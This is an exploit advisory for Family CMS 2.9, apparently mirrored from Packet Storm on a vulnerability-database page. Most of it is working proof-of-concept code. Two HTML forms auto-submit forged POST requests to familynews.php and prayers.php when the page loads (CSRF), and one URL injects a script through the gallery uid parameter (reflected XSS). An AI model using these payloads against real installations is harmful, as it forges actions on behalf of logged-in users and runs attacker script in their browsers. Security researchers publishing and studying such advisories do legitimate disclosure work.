Lucene search
K

Family CMS 2.9 Cross Site Scripting / Cross Site Request Forgery

🗓️ 26 Mar 2012 00:00:00Reported by Ahmed Elhady MohamedType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

Family CMS 2.9 multiple vulnerabilities including CSRF and Reflected XS

Code
`Family CMS 2.9 and earlier multiple Vulnerabilities  
===================================================================================  
# Exploit Title: Family CMS 2.9 and earlier multiple Vulnerabilities  
# Download link :http://sourceforge.net/projects/fam-connections/files/Family%20Connections/2.9/FCMS_2.9.zip/download  
# Author: Ahmed Elhady Mohamed  
# Email : [email protected]  
# version: 2.9  
# Category: webapps  
# Tested on: ubuntu 11.4   
===================================================================================  
  
  
Tips:  
*****First we must install all optional sections during installation process.*****   
  
1- CSRF Vulnerabilities :  
  
POC 1: Page "familynews.php"  
  
  
<html>  
<head>  
<script type="text/javascript">  
function autosubmit() {  
document.getElementById('ChangeSubmit').submit();  
}   
</script>  
</head>  
<body onLoad="autosubmit()">  
<form method="POST" action="http://[localhost]/FCMS_2.9/familynews.php" id="ChangeSubmit">  
<input type="hidden" name="title" value="test" />  
<input type="hidden" name="submitadd" value="Add" />  
<input type="hidden" name="post" value="testcsrf" />  
<input type="submit" value="submit"/>  
</form>  
</body>  
</html>  
  
--------------------------------------------------------------------------------------------------------  
  
POC 2:Page "prayers.php"  
  
  
<html>  
<head>  
<script type="text/javascript">  
function autosubmit() {  
document.getElementById('ChangeSubmit').submit();  
}   
</script>  
</head>  
<body onLoad="autosubmit()">  
<form method="POST" action="http://[localhost]/FCMS_2.9/prayers.php" id="ChangeSubmit">  
<input type="hidden" name="for" value="test" />  
<input type="hidden" name="submitadd" value="Add" />  
<input type="hidden" name="desc" value="testtest" />  
<input type="submit" value="submit"/>  
</form>  
  
</body>  
</html>  
----------------------------------------------------------------------------------------------------------------------------  
2-Reflected XSS  
  
POC : http://[localhost]/fcms_2.9/gallery/index.php?uid=%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E  
  
-----------------------------------------------------------------------------------------------------------------------------  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation